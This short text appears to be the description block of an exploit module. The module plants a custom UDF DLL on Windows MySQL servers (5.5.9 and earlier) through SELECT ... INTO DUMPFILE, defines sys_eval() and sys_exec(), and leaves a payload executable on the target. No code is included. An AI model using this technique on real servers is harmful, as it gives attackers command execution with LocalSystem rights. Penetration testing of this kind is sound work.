				This module creates and enables a custom UDF (user defined function) on the
				target host via the SELECT ... into DUMPFILE method of binary injection. On
				default Microsoft Windows installations of MySQL (=< 5.5.9), directory write
				permissions not enforced, and the MySQL service runs as LocalSystem.

				NOTE: This module will leave a payload executable on the target system when the
				attack is finished, as well as the UDF DLL, and will define or redefine sys_eval()
				and sys_exec() functions.
